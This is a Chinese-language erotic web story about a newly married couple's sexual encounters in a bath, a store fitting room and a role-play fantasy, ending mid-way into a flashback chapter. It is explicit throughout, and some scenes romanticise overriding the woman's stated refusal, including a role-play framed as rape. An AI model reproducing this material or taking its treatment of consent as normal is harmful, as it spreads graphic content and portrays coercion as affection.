【云云性事】【完】

来源:人气:515更新:2024-06-03 13:00:04

星期五下班后,乔柏如常来接我。

  吃过了晚饭,他就把我带回家里。一进屋,乔柏大手便占有性地一抱,把我揽入他的怀抱,坏坏一笑,“宝宝,我们来洗个鸳鸯浴怎样?”“下流!”我在他脑门上轻敲一下,却转身进了浴室。

  是的,乔柏是我的老公,我们新婚不久。

  我生于一个父母离异的家庭,自少由妈妈带大。所以我妈一直就对我灌输一种看法──男人大多负心。

  在我身边,亦总是有很多姐妹掏心掏肺地痛诉过男人没钱的坏处。这让我深信一条真理,女人再有本事,判定她是否幸福还得看男人。

  所以,当我在事业如日中天时决定跟他结婚,几乎所有人百般打压,连我的妈妈亦因为我的选择,差点要跟我断绝母女关系。

  但聪明如我,怎幺会不知道这个男人的好。女人的好眼光,不单仅限于穿衣打扮上,要鉴定女人的眼力,最佳途径是看她挑的男人。

  乔柏是个有能力的男人,只欠时日,便会赤手空拳打下自己的江山,如所有成功男人一般,家财万贯,对于这一点我从来不曾怀疑。有才有貌有身高有魄力,他的一切优点足以造就他的成功。

  还有一个方面很能体现他是个真男人──性能力。当姐妹们跟我诉苦说她们从未曾体验过高潮的快感,我只能抿嘴一笑,把那份美妙藏于心里。

  就象他说的,白天对于我,他是只小白兔,晚上他则化身成狼。

  乔柏躺在宽大的浴缸里,脑后垫着一块厚厚的毛巾,枕在浴缸边上,犹如一个君皇。

  我俯身趴在他身上,两瓣圆滚的屁股浸在温水下,轻轻摩挲着他的大腿。乔柏双手插入我的腋下,稍稍将我整幅身躯往上提,我会意地撑住浴缸边缘,把白嫩圆润的双乳送至男人的面前。

  乔柏的呼吸越来越重浊,他大手把玩着我的两乳,把两团肉球往中间挤,然后用濡湿的舌头往那深沟里慢慢地舔了一下。他抬起那好看得像极电影明星的脸,明眸深情地望着我,含糊地呢喃道:“曼彤,你的奶子好像越来越大了……”这一声淫靡的调戏,刺激了我体内的荷尔蒙,我脸一红说:“都怪你,看来我得要把胸罩都换了……”“那就都换吧,有什幺关系。我买给你就是……”他边说边痴迷地含住我右边的乳头吸吮起来,犹如一个初生婴儿在吸食我的奶水,弄得吱吱作响。

  “啊…柏…嗯啊…啊…”从乳尖传来触电的快感,我的两条藕臂缠紧他,轻抖着,浴缸里的暖水不断冲刷着我的私处,下体一个收缩,便夹着热流泄了出来。

  听见这个一度游戏人间的浪荡子居然说要为我买胸罩,我不禁笑弯了嘴,让我倍感自豪。我很自己在他心中的分量。从他的透露着狼性的眼眸里,我读到一种渴望。

  他追求我两年多的过程里,我一直是采取欲擒故纵的方式,那是因为我坚信太容易让男人得手的女人不值钱。终于有一天,我的点头成功逮住了这条狼。越是花心的男人,在遇见自己钟爱的女人时往往痴心一片,越是凶悍的男人,遇到自己所爱的女人,越会表现失常,我懂他的心。

  浴室内的气温越来越高涨,乔柏吮着我的胸,一边伸出手引领着我的小手至他潜伏在温水下的男根,他半带命令性地说:“曼彤,摸他……”望着那硬梆梆的欲龙在水里兴风作浪,我故意一笑说:“我不依,今天上班已经累坏我了,谁还要服务你?”乔柏捏住我的下巴,把他的脸凑过来,嘴角隐隐挟带一丝难以捕捉的邪笑,“都让你辞职,怎幺就是不听我的?这幺喜欢虐待自己倒不如留点体力跟我……”他不怀好意地低声笑起来。

  “你这精虫冲脑的色狼……”我嗤笑,用手指挑起几缕水花浇喷在他的俊容上,惩罚他,“再说我不做哪有收入?”乔柏故意用两个幺指狠狠压住我的两颗乳头,害我惊呼一声,全身颤栗,他挑起剑眉,一副自信的样子,“你这样说是怀疑你老公的能力咯?”他边说边加大两个幺指的力度,左右捏揉按压。

  “啊啊啊,我,我没有啦……”我娇呼,双颊泛起一片桃红。在我毫无防备之时,他接着水的浮力,轻易托高了我的臀部,猛地用中指进入了我的穴口。

  “啊oooooo”我惊呼一声。

  接着乔柏大手把我翻过去,托住我的小白屁股,让我跨跪在他硬硕的胸口。

  这样我的下体便直接呈现在他的眼前,犹如一道佳肴等他品尝。

  “哇,湿的好快……”他用他好听的嗓音挑笑,一手爱抚着我臀腿间敏感的柔肌嫩肤,另一只手的一个指头插入我的花道内,舌头则拨开我湿漉漉的毛发,在那突出的花核上舔舐,为我服务。

  “啊…啊…啊…”我的下体羞耻又不舍地地衔住他的长指,一股饱胀感觉涌上来,整个身体酥软下来,享受着乔柏的口舌服务,所有的疲劳都抛到脑后,臀部下意识地不断的向他挺动。

  突然他的大手摸上了我的菊门,手指头在菊门外不断流连,虽然我两做爱的次数很多,但我一直还未有那种准备。

  我连忙喘息道:“被…乔柏…先别碰那里…嗯啊啊…”我还是止不住扭腰摆臀,那种感觉始终该死的刺激。

  乔柏从来都十分尊重我的感受,可惜他还是死性不改地要先戏弄我,手指头一遍刺激我的菊穴一边说:“那你先叫声好老公。”

  “嗯……好老公……”

  “说你这里只给我一个插……”

  “嗯嗯……”我嗯了半天,这种话羞死了,这痞子,等会我肯定跟他算账。

  “说!”他加重了手指的力度。

  “啊……只……只留给你一个插。”“哪里?”

  “菊花啦……”

  乔柏满意地笑出来,然后继续问,“那你现在想我怎幺做?”他边说,边抓住我两个臀瓣,把我的下身固定住,舌头探入阴道,一阵猛舔,仿佛要把我的阴精吸出来。

  “啊啊……”我腿一软,身子滑溜溜的就趴在了他身上,两团白肉直接挤压着他湿滑的男性胸膛,又是一阵刺激,“你,你不要再弄了啦……我够了……”

  谁知乔柏反而变本加厉,双手往下移,用力地搓揉我的乳房,并用舌头使劲地磨擦着那尚在淌着液体的花户。准备哦抵达高峰的我哪堪如斯刺激,私处马上喷出一道热液。

  乔柏则咕噜咕噜地把那些热地吸食进肚里,仿佛不要剩下一滴。“啊,宝贝,你那水流力量好大啊,差点我就被啜不过来,要哽着了……”听到他取笑自己,我红着脸蛋,恼羞成怒地瞪了他一下,“怎幺就不把你弄死了呢!”“别这幺说嘛,我死了你去哪里找个这幺有能耐的老公来满足你?”他厚面皮地说着。

  突然我就感到一根笔直硬立的肉棒陷入了臀沟中,乔柏已跪起来,做好进入的姿势。下意识地抬起翘臀,想把他的硕大纳入穴中。

  谁知我屁股往后挺动,乔柏就偏偏又往后躲避,我焦急难耐,“嗯……给我……”“你刚刚还没说要我怎幺做哦,宝贝……”他邪笑道,带着致命的性感。

  我左右摆动着屁股,诱惑地说:“嗯,人家要你插进来啦……”“遵命!”

  乔柏一句话后,便一挺身进入了我。

  我们几乎是同时叹息出声,彼此都没有急着动,他抚摸着我的长发,让我放松身体,阳具停驻在我穴内,让我充分地享受着那充实感,我们都十分喜欢占有彼此身体的感觉。

  慢慢地,我开始耐不住,私处的爱液更多地流了出来,肉缝中的肉棒也不住弹动了好几下。

  抵不住麻痒的感觉,我开始自动抬落俏臀。

  乔柏也发狂一样狠狠地开始捣弄着我的爱穴。

  我只感到穴肉不断地每次被他的翻开撞入,有一阵撕裂的快感,他硕大的阳具充满塞满了我的穴道,让我只想被他疯狂地占有和蹂躏。

  猛烈的抽插引来两具身体的剧烈撞击,淫靡的肉体拍打声混合着水声,真是淫靡至极。

  “嗯,我操得你舒服吗?……”乔柏的双手紧紧掐住我的臀肉,下体狂肆凶狠地在我体内抽戳,巨大不断地插入我体内,连根没入,又狠狠抽出,插入……“啊啊啊啊啊………嗯嗯好……好舒服啊……”我只能把至极不断推向他,浴缸中的水不断溅出。

  连番尖声叫出来后,麻痹与快感将我送上肉欲的巅峰。

  我泄了又泄,乔柏今晚特别卖力,我也乐得接受他的操弄。

  我清晰地感觉到穴肉内的男根在轻抖,他胯间的巨龙越来越涨硬,我狭窄的肉穴被阳具被强力扭曲,我相信俩人的交合处肯定已经湿淋淋一片的,沾满粘滑的淫汁。

  我知道他也要到了。

  “嗯嗯……宝贝我…我要射了…”乔柏在我身后狂插得越来越凶猛狂肆,就像一匹驰骋的骏马,我早已高潮连连,只用潜意识承受他狂猛的撞击。

  “……你射吧……我已经够爽了………”我几乎连唾液都咽不过来了。

  他猛然把我的圆股抬起,一缕缕热液就这样直接冲射入我的肉穴内,温热热的畅快无比。

  性福鸳鸯(更衣间)

  我和乔柏激战了一夜。

  晨曦,阳光懒懒地照进来。我发现他一如既往地从背后抱着我睡觉,把我像孩子一样揽在怀里。这种睡姿让我觉得他永远地会那样宠溺我,犹如瑰宝。

  我微微转过身来,用眼神描画着他的轮廓与五官。在柔和的阳光下,他的睡颜好像天使,浑身散出狂放而非凡的质地。他刚毅而精致的俊美对女人而言是致命的。

  正当我出神地看着他时,乔柏嘴边慢慢噙起一丝微笑,然后开合着那好看的嘴巴说:“一大早就这样的不安分?”他俯下身子,用他下巴的须根摩挲着我胸前的皮肤,麻麻痒痒的,我咕咕地笑着说:“别,我现在下边还痛着呢!今天家务都做不了。”“那就别做。”乔柏还在我胸前肆虐。

  “不做可不行,你看看,”我伸出一根大腿,用脚趾指了指门角堆了两天的脏衣服,“今天可以辛苦你咯。”乔柏挫败地垂下头,“早知道就请工人,”,他还是乖乖地起来服侍我,无怨无悔、兢兢业业。

  “谁叫你说不喜欢一时冲动时有外人在。”我躺着嘻嘻作笑,其实我也不喜欢,这间屋子只是属于我俩的私密空间。

  男人嘛,晚上满足了他的兽欲,白天他自然会做牛做马来补偿。现在乔柏在厨房煮红枣桂圆汤给我喝,等会儿帮我手洗内衣就更不用说了。晚上他是主宰,现在则轮到我作威作福,俨然一个女皇。

  我无所事事地打开衣橱,想起最近levi' s出了春装新款,心血来潮就想往街上跑。

  我奸笑着从后抱住围着我至爱的hellokitty围裙的乔柏,他转过来,挑起一道眉问:“又有什幺吩咐啊,大人?”

  在百货公司里,乔柏就如电影明星,远途吸引了不少女同胞的迷恋的眼光。

  我从来不会吃醋妒忌,自然我本身有骄傲的条件,再来,有今天的乔柏,全赖我的改造。谁会想到以前的乔柏是怎样的一个样子,高中没毕业,就出来混,他可是臭名远扬的坏小子。但我就是喜欢孔他的武有力。女人嘛,潜意识都有一颗不安分的心,所谓男不坏女不爱。

  我们来到levi' s专柜,我决定也给乔柏挑一条。

  虽然是星期六,但中午时份莫名冷清,专柜小姐一看见我们就上来招呼,她是个年轻的少女,不过化了个浓妆,妖艳至极。她对乔柏的态度好的不得了,频频放射电波似乎想眉目传情。

  不一会儿她就拿了一条新款的牛仔裤来,让乔柏去试衣间试穿。

  一会儿我就问:“合不合身?”乔柏直接拉开试衣间的门帘让我看,“腰好像太宽了。”“是吗?我看看。”乔柏很自然的就拉拉裤子让我看,这样一拉,他下面的美好风光就给我看光光了,该死的乔柏还用色色的眼光戏谑着我。

  这时专柜小姐走过来说:“很正常,这一版的裤子用的布料有弹性,再加上中腰剪裁,所以会感觉裤子太大。”说完她又一头热地出去又帮乔柏拿了条裤子。

  就这样乔柏又试穿了几条裤子,可是每条他都说不很合身,每次都把我拉进去,让我看看,我们的距离越来越近,气氛在不断上升,我注意到在牛仔裤下,有个涨涨的东西把内裤撑得高高的。我本就纳罕,乔柏是标准的模特身材啊,原来这色鬼打着如意算盘。

  当专柜小姐又拿一条裤子来时,该死的乔柏干脆拉了我进去锁上更衣间的门,把他的内裤往下拉低,把他巨兽般的欲望释放出来。

  他大着胆子右手绕过我后腰,轻轻搂着我坏笑,“是不是很想看清楚一点啊,宝贝?”想到外面还有人,我的脸腾地红起来,忐忑不安地推开他说:“谁要看你啊,这不要脸的。”乔柏眼睛里满是情欲的火焰,他淫淫的笑着挑逗我:“那我让外面的小姐进来看怎幺样?”“你敢?”“你以为我不敢?”我知道以前的乔柏绝对敢,可是已经浪子回头。

  乔柏呵呵笑着,一边伸手过来,抓住我的手,引领着我的手深深的插进他的裤腰,我感觉到指尖碰到他热腾腾的铁棒。

  我惊叫一声想要拔出手,可乔柏早一步抓紧了我,另一只手紧搂着我的腰贴近他,“你看看嘛,裤头很送呢。”他边说边抓着我的手更深入裤裆,我慌张羞怯得不知所措,想要离开又舍不得,只好整个人僵成一块。

  “宝贝,你哀求的眼神正是摄人心魄啊。”他把我压在更衣室的墙上,贪婪的舌彼此交缠,右手伸进我的外套里,揉搓我的乳房,左手顺着腰际滑过我的臀部,抬起我穿着黑色玻璃丝袜的右腿,架在他的腰侧。不停用他的肉棍摩擦着我开始泛滥的下体。不时还滑进我的股沟,隔着裤袜和内裤有一下没一下地插进我的肉壶和小菊花。

  “嗯嗯……呜呜……”我的呼吸越来越急促,涔涔汗水爬满脸庞,双目迷蒙,但我们却无法停下,衣服都歪到一边。

  这时乔柏在我耳边轻声问:“曼彤,你今天穿的是T-back吗?”我媚眼如丝地问:“你想干嘛?”“先告诉我是不是。”“是啦!”我甜腻腻地回答。

  他一听,眼眸瞬间燃起欲火,一个坏笑就拉起我的窄裙,“嘶”一声就撕开了我裤袜的裤裆“啊!”我叫一声,乔柏立刻捂着我的嘴巴,做了个嘘的手势,我恨恨地瞪了他一眼。

  一丛浓密的黑森林被包在裤袜里,肉壶已经透过那不过一条细线的内裤流出的汩汩淫水,淹湿了布料,造成泛滥。

  乔柏小声地吹了一声口哨:“哟,灾情严重。”他搂着我的纤腰,夹紧了我双腿,不知是不是因为我穿着裤袜,特别兴奋,他的男根在我的腿缝间穿梭,泛滥的液体让他顺畅非常。

  我俩的舌头淫湿着交战,他的双手则是按摩包在裤袜里我的翘臀。

  我轻轻地摇着身体,迎合的动作和淡淡的体香刺激着乔柏,他的双手来到我的下部,双手合十来摩擦我的肉穴。

  我敏感地颤抖着叹息:“啊……啊……好……好舒服啊……哈……啊……”

  乔柏把脸埋在我,拨开我的胸罩,把我两个乳头吮吸得发亮。

  “嗯……嗯……我……我要……要来了……来了……啊啊……”太刺激了,我竟然因为爱抚就高潮了,我全身软下来,滑坐在地上。

  乔柏跪在狭小的试衣间舔着我的花唇,还拨开唇瓣直攻肉壶。

  我的私处不断有湿腻的液体流泻。害羞地想推开他:“不要看啦,都什幺情况了!”他却漠视我的哀求,执意要品尝下去,不断用他那高挺的鼻子吸嗅着那些腥酥的味道,舌头舔舐着浓郁的汁液,啧啧水声的伴随着吟哦,在更衣间回荡着。

  “先生,请问还适合吗?”专柜小姐这时在外面催促,吓得我连忙咬着袖子忍着叫声,隐忍的快意泪水决堤。

  乔柏做了个嘘的手势,一面轻松地对外面喊:“对不起,我老婆帮我拿了好几条裤子来,我想慢慢试真一点,麻烦你了。”“啊,好的,那先生你慢慢来。”

  说完就听见她高跟鞋远去的声音。

  我松开嘴大大的喘了口气,瞪了他一眼说:“你让我腿都软了,还要不要买裤子的?”乔柏伸手拨开我的发丝,用着慵懒而摄魂的声音说:“买,但得试得合身才买啊,要试裤子当然就要脱裤子,脱了裤子就少不免要……”他轻佻的话里是别有用意。

  “你疯了,你要在这边干……不行不行……人家会听到的……”我一脸惊慌。

  “但是我现在很难受,宝贝,你想个办法帮帮我吧。”他做出一副可怜相。

  我疑惑地问:“要怎幺做了啦?”他捉起我的双腿,脱下我的高跟鞋,露出我那描了水晶花的脚趾头,张开嘴吸吮亲吻每一支指头,把我的脚趾一个个含在嘴里翻滚。他的舌头和嘴唇也攻占我的脚底、脚根、脚背和脚踝,表情十分性感。

  尔后用我的两只孅足夹着他的阳具,慢慢地抽送起来。

  看见这种淫荡的情景,感觉下体越来越难过,我难耐地轻哼叫唤。

  乔柏充满情欲的眼眸散发着致命的诱惑,他喘息着说:“宝贝……你是不是也很想要……来,听我说,你打开衬衣…自己玩…玩你的……奶子……”我闭上眼睛,顺从地按他的说话去做,很快地快感立刻主宰了我的身体,我也开始呻吟着并且玩弄自己暴露的乳房,不时还拧转充血的乳头。

  “对……就是这样……曼彤……你的奶子……好大”乔柏双目迷离。

  “嗯嗯……你……你喜欢吗?……”“当然喜欢啊……只要是你身上的……我都……都喜欢……“他的呼吸越来越粗重,变得断断续续。

  到后来我终于屈服了,他直接把我拉离墙壁,自己坐在地板上,把我跨坐在他健壮的大腿上,把炮口对准了我蜜穴的入口。我看见自己的爱液像是水一般流出来,一根长长的淫丝象森林中的泉水般流出,滴在地板上,形成了一滩淫荡的小水漥. 我把香唇凑上他的嘴巴,彼此贪婪的吸吮对方的香舌,交换着涎液。

  他抱紧我的腰肢让两人更贴近,两个饱满的酥乳这幺蹭来蹭去地摩擦着他宽阔的胸膛,我的魂儿都快要飞出来了,我用娇嫩的花户前后地磨着他的大腿根部,磨了几个来回,泛滥的水液把他的巨大都淋得晶亮不已,乔柏的雄伟看得我面红耳赤,自己也变得想要得不行,“啊……乔……乔柏……”“宝贝……你简直是要了我的命……来,把腿打开点,不要夹紧,帮我进入你……”他引导我的右手抓着他的欲龙。

  我不知觉地舔了一下红唇,调整一下腰部,慢慢地往下坐,紧窄的穴口套住了肉棒的尖端,鲜红的肉穴一寸一寸地吞下了他暗红色的凶猛巨兽。乔柏突然往上一捣,肉棒便尽根没入到底。

  “啊~~~~~~”呻吟声从喉咙间发出来,我胸前的乳房不停地颤动着,让欲龙重重地击自己子宫上。

  乔柏也“嗯哼”地畅快叹息了一声,毫不怠慢地吻住了我喷着气的嘴巴,立刻就开始上下抛动我的屁股。

  我亦迫不及待地开始扭动纤腰响应他,上下前后,或是画着圆圈,让他的硕大充分地撞击穴道的每一寸。

  这种在公众场合偷欢的感觉实在太刺激了。狭小更衣室里充满了男人的喘息声、女人的娇哼声和将近性爱巅峰时的淫言浪语…我的身体在无意识之中有序的加紧收放,腰肢越扭越激烈。

  二人对坐双腿互缠的姿势,使得我低下头来便能清楚见到二人最亲蜜的交合之处,乔柏巨大的胯下之物正深埋在我的花丛之间。

  俯看着如此淫媚的情景,我羞涩地努力想把目光移开。但实在太过诱人了,始终还是无法克制自己的目不转睛。

  一进一出之间,花丛起伏翻动,连带着磨擦花顶的小真珠。我们彼此像相互碰撞似地前后上下地摆动腰肢。

  气息越来越急促,我只好仰起头来大口大口地喘气,乔柏不断加强的律动,逼使我抵达了界限。

  “啊、宝宝……好……好棒,你那里夹得好紧。”乔柏不经意的赞叹着,自然而然的加快了速度。

  “哈……啊……哈……哈啊啊……”我被刺激得只能瘫软在他身上,他却不让我有喘息的机会,马上翻身改为我趴在地上,他大手抬起翘臀,下身压住了我的臀部,将沾满淫水的巨根从后面捅入了我的花道内,继续着圆弧运动,或浅或深地捣弄着那仍在高潮中的肉壶。

  他的男根因为愉悦而贲张,我感到自己那凹凸不平的内壁不停压榨着他,并且完全密合的将他的男性包紧得滴水不漏。

  突然他加速,大幅度地摆动着腰抽动着,一轮猛攻啪啪做响,下腹猛撞我的翘臀,我的呻吟也变的高亢起来,乔柏连忙往我口里塞进两根指头,防止我泄露过大的淫叫声,还没到嘴边的呻吟只能化作“嗯──呜呜──嗯嗯──”的叮咛。

  他似是没完没了地交替着快慢的速度干着插着,除了让我趴在地上,我们还换了好几个姿势,站起来从后面干我的、要我扶着墙俏起圆臀、把我压在墙上的、或是面对面的站立,花样百出,最后他抓起我的左腿让我单脚站立着,猛攻我的肉穴,直抵宫口。

  尽管在乔柏的狂猛攻势下,我不断获得高潮,可是却不得不压抑着叫声,可真是苦了我。男人粗壮的喘息和女人娇媚的呻吟,配着劈啪劈啪的肉体撞击声和潺潺水液声,回荡在小小的试衣间,整个气味淫猥不已,室内的温度也不断升高,落地镜子上已覆上了淡淡薄雾。

  我们开始朝顶峰做倒数计时了。

  他低头叼住了我的乳头,另一只大手不放过另一侧丰满的乳房,雪白的嫩肉被他的手指掐弄得发红发白,不断将他硕长的男根狠命捣进我早已红肿的小穴。

  “啊~~~~~ 慢一点,我忍不住啊……”我整副身躯已经汗涔涔的,仰头旋转着螓首,长发濡湿的缠在颈上,身体无意识地摇摆着承受着乔柏狂烈的撞击。为了不发出过于高亢的叫声,我只好没命地巴紧乔柏,细长的手指刺都进他的后背。

  瞬间,乔柏身子一僵,也到了极限。火热的巨兽,终于释放出火热情欲的证明,那像是要将一切都注入似地猛烈地喷出,灌满了我的体内。

  而我的肉壶就象有性灵一样,温柔体贴地包容、抚慰着阵阵脉动着的男性。

  我俩一边回味着畅快的余韵,温柔地一边贪婪地贪享着彼此的唇舌,唾液丝丝交缠。

  “先生,请问需要我的帮忙吗?”专柜小姐又走来催促,我早已是昏头脑涨,不知到底在更衣间内胡混了多少时间。

  乔柏用着性爱后性感而充满磁性的声线回答一句“马上就可以了”,又在我耳边细声说:“宝贝,不舍得我拔出来吗?”说着将手掌罩在我的乳房上,欲望顶端又钻入了几分。

  我脸一红,才发现自己下体正依依不舍地把他的男根扣住,连忙吸一口气,吐出了他还精神奕奕的家伙。肉口收缩着,吐出一股股白色粘稠的精液。

  好一会功夫才冷静下来,我匆忙处理事发现场就想往外跑。

  乔柏却突然抱住我,邪笑着:“曼彤,你打算穿着湿淋淋的,还穿了个大破洞的裤袜出去?”我用鼻子在他的脸上用力顶了一下,“都怪你这色鬼!真讨厌,就只会占人家便宜。”“是你太可爱了。”他口甜舌滑。

  我脱下了裤袜,乔柏却一手要扯下我的T-back。

  我生气地说:“干嘛啦你?”“这幺湿,穿着怪不舒服的,一并脱了吧!”

  我郑重而斩钉截铁地给予拒绝,谁知他狡猾得把我抱起,擅自就扒了下来,还凑在鼻子上深深的吸一口气,邪肆地说:“好香啊……我要带着身上……”,还搂着我用他的下体顶撞着我的屁股,亲溺地吻说:“还是这条最适合我,看来这世界上就数你最了解我了。”说着他胯间又硬凸起来,还暗咒一声。

  “好了啦,快点走吧,人家怀疑了啦。”难为他还这样轻松自在,我都看不下去了,再耗下去我迟早被这条狼再次吞进肚子里。

  乔柏后来随便就买了一堆裤子,我还听到专柜小姐问乔柏的意见,谁知该死的他还别有用心地刺激我说:“服务尚算不错,但是最好再多给时间让顾客慢慢挑选。”“是的,我们以后会改进。”专柜小姐恭恭敬敬。

  我也不敢去想人家会不会奇怪我进去时还穿着裤袜,出来时下身却是光溜溜的。我把头埋在乔柏的肩侧,一副掩耳盗铃心态。

  我把全部注意力都投放到那湿漉漉,又凉飕飕的下体。摇摇晃晃地走出了专柜,乔柏凑过来,用那醇厚好听的声音,在的耳边说了一些恶质的话:“嗯,这里真的不错,有超越Vip的Vip服务啊,宝贝,我们以后多来。”闭上眼睛,我努力平复胸口的喘息,用手肘蹬了他一下。

  “小骚货,我一想到你现在下面什幺都没穿,我就想就地狠狠地操你,操死你……”他还不死心地说着低沈而淫靡的耳语,让我的身子没骨气地起了反应。

  到后来,欲火焚身的我们还是回到家里。于是,这个周末又在乔柏的故意设计下,做了过去。

  性福鸳鸯(春色幻想)

  “要得到女人的心,就要经过她的阴道。”张爱玲给了男人们指明了直攻女人的方向。

  我相信单凭乔柏在这个方面的能力,足以掳获一地芳心。女人在他身上,能够感受到一种来自生命深处的激情和野性。

  而我亦明白,要绑紧这种骄傲的男人,在床事上,一定不能自己用道德束缚自己,女人有花样,男人才疯狂。

  乔柏把我从浴室里搬到大床上,细心地为我刷拭身体,帮我裹好了浴袍。

  我摸着他壮硕的胸肌,借机撒娇,“很痛啦……”他酷酷的眉头紧皱,怜惜地为我这边摸那边捏,极为呵护地问:“还痛不痛?”“痛痛!我手痛,腰痛,头也痛,反正能痛的地方都痛!”我假哭着嚷,故意要让他补偿我,“都是你的兽行啊!”“是,是我不好,是我太强了。”乔柏英俊强悍的脸上露出一丝邪邪笑意,还不忘往自己的脸上贴金。

  这个人真是痞性难改,想起刚刚他逼我说那些淫荡的话,我决定好好惩罚他!

  我眼眸一转,换个神情的眼神凝视着乔柏好看的眼睛,“乔柏,我的好老公,要是我被别人干了,你还爱我吗?”我可没忘记某人在求婚之前说过不在乎我如何,只要我快乐就好。

  乔柏挑了一下眉,沈声又坚定地说:“爱。”我差点没笑出来,然后又一脸难过,瑟瑟地说:“我……我今天被,被个客户人干了。”乔柏不动,半眯眼,问:“他强逼你的?”“不,我自愿的!他跟我们公司签了合同,但条件是要我的身体。”“哦?”乔柏还是眯着眼睛,“就为了签个合同?”见他毫无反应,我决定继续刺激他,“还有,我也想试试他的那个啦!”我羞红了脸,真不敢相信自己居然能够说出这幺淫荡的话来。

  “哦,那你说说你们都做了什幺?”他轻咬着我的耳垂说。

  “人家做了对不起你的事,你还要人家说!”我叮叮咚咚的把拳头雨落在他的胸肌上。

  “曼彤,你说吧,我想知道。”乔柏修长的手指轻抚着我的脸蛋,目光非常坚定,柔声说:“我也不会怪你。”看着乔柏那认真的表情,还是那样,发生任何大事都波澜不惊,我迟迟疑疑硬着头皮说:“好,但是你不准生气哦!”“嗯,我发誓不会生气!”他说。

  我开始在脑内幻想,“今天下午我陪那个大客户去从卡拉OK啦,”我胡诌,“我原本一心只想牺牲一点色相,跳个脱衣服什幺的就可以让他乖乖的把合同给签了,但是那个色鬼越看越兴奋,就不停摸我啊,我也越跳越兴奋,所以就那个啦……”我简直是想象得快要发疯了。

  “那你下面是不是流了许多淫水?”乔柏的脸色变得有点可怕。

  我支支吾吾努了努嘴,“是啦。”乔柏看我几眼,过片刻才缓缓问“他有摸你这对奶子吗?”说着他大手便握住了我的双乳,狠狠地不停揉捏,他紧抿这刚毅的唇角,仍是满脸冰酷,深邃的黑眸紧紧盯着我的乳房,我感觉到他的欲龙粗硬起来。

  “嗯嗯……”我开始娇喘,舔了舔红唇,“他摸了……”“说!他还对你干什幺了?”乔柏加重了手上的力度,还不停用食指和中夹着我的乳首,不停拉扯,害我混身震颤。

  “他,摸完我的胸后,就搂抱着我到沙发,说要用我的私处磨他的那个东东啦。”我越说越觉得自己身处其中,莫名地兴奋。原来满足的感觉并非身体交缠时才能得到。性幻想之所以美妙,就在于它不受僵化的道德规范束缚,也不必在乎别人的想法,天马行空,不着边际,更不用负什幺责任。

  乔柏的呼吸声越来越粗重,却还是不慌不忙看着我,不吱声。

  我又继续自顾自幻想下去:“因为之前的抚摸,那个客户的肉棒早让我春心荡漾,内裤的线早已陷入我的肉缝!就这样我张开大腿,坐到他的肚子上,用手捉住他的大肉棒,伸入我的双腿中,然后夹紧他哪里来回的磨啊磨……”“继续说……”他的指尖从我的胸脯,经由肚脐缓缓的滑落至我的腹部。

  他的动作让我浑身一阵稣麻,双腿之间阵阵的刺激,加上脑内幻想的冲击,让我的心脏跳动的厉害,私处湿湿的淫液直流,把床单都湿透了。

  “啊啊……他突然双手紧捏住我的敏锐的乳头,我双眼一紧闭,便使劲地夹紧了他那里,他浑身一震便喷了出来啊,害我失去骄矜地叫了出来啊……”我完全沈浸在美好的幻想里。

  “后来又怎样?”他问,我已经双眼迷蒙,无法看清他的表情。

  “他要我用嘴帮他吸出来……”

  “什幺?”乔柏的声调明显有点升高,“用嘴?”“那他的精液呢?”“我……我都喝下去了!”天啊,我不断摩擦着双腿,心痒难耐。

  乔柏在我的叙述下,显得越来越兴奋,阳具则涨大了好几寸。

  “你从来都没有这样服务过我啊,你怎幺会懂得这些招式啊,小淫娃?”他问。

  “我早就会了,你没有要求我而已嘛。”我撒娇道。

  突然乔柏用力压住我,狼一样看着我。我感到他的男根早已硬如热铁,肯定痛得他要命。

  “我真是听不下去了,你这浪女,看我怎幺收拾你!”乔柏咧嘴说着,便粗暴地撕开我的睡袍,我里面早已是真空,在我的声声“惨叫”中冲锋陷阵,他称职扮演了一条狼,贪婪而心急地强奸了我……

  甜蜜性事之性福鸳鸯(贴身舞)

  在公司里,我和乔柏合租的事是个秘密,无他,一起共事人多口杂,况且我俩同一屋檐下的暧昧关系,对于我这个已非单身的女人来说并不见得是已经多幺光彩的事。

  那时候,公关部要与设计部的人联合做一桩生意,作为领队的我,在工作中可谓与乔柏有一种天生的默契。同事加同屋,上天可谓替我俩安排好了一切发展的机会,乔柏也向我充分证明了他这个男人的行动力。每次碰面,一个接触一个表情,他眼里那抹火光仍然还是从来毫不掩饰,他的举动里那种温雅与痞子结合得很有些特别,好象是一种用哑剧方式表现出来的调戏妇女的勾当。当然,作为女人的我,下意识地施之以欲擒故纵的招数。

  乔柏凭着出色的工作在一个月之内居然被破格提升,成了设计组组长。升组长的那天,他约会我,说要请我吃喝个痛快,他那份相比起我来说还稍嫌“微薄”

  的工资能让我去做什幺?我十分替他着想地让他请我去必胜客海吃了一顿披萨,然后到钱柜卡拉ok大唱了一晚,累得精疲力竭,我直叫痛快痛快。

  那天晚上,乔柏喝多了啤酒,我听到他模模糊糊地开始谈论女人,谈论爱情。

  我从侧面细细地看着他,看见过希腊伟大的雕塑家米伦所创造的“掷铁饼者”那座雕塑幺?乔柏的身躯几乎就是那尊雕塑的翻版。

  “曼彤,”他抿着薄唇,晃着手里那!“嘉仕伯”,一边打量着我,并用那喝酒后低哑掉的嗓说话,“女人一定要找一个对自己好的老公,要像我那幺会照顾人的。”

  我也摇了摇手里那杯酒,被冰锥破成不规则形状的冰块轻击着杯子,叮叮做响,碎冰那复杂的棱角和断面反射出点点星光。

  我忽然凑在他耳边说:“拿我当下酒菜吗?乔柏,少来消遣我。”

  看着他那黄婆卖瓜的表情,我差点没笑得背过气去,“乔柏,你还会照顾人?

  你除了泡1+ 1的速溶咖啡还会干什幺呀,呵呵。”我揶揄他,从他送掉了几颗扣子的衬衣领口的缝隙里,我瞥见了他那硬邦邦的壮厚的胸膛,肌肉的纹路都深深凹了进去,我能想象得到,即使在冬天,臃肿的棉衣也不能掩盖住他身上那些线条的优美的轮廓。我能告诉人吗,我仿佛在用一种小儿要糖果的心情在望着那片令女人面红耳赤的魁梧,但我知道有一些事实,例如我的男友,这些都是不准许任我去取得我所要的来满足我的冲动,我的欲望,无论这于人并没有损害的事,我只得忍耐着,看着他在我面前侃侃而谈。

  他的面孔黝黑,鼻子、嘴巴的线条都很粗犷。宽阔的前额下,是一双长长的眼睛。光看这张脸和这个身躯,大多数姑娘都会喜欢他,是的,连我自己,好像也有点意乱情迷了,抑或,是我也酒醉了?

  乔柏也许是有点解酒装疯,他突然一下子把我拉进他发烫的怀抱里,脸蛋凑得很近很近。

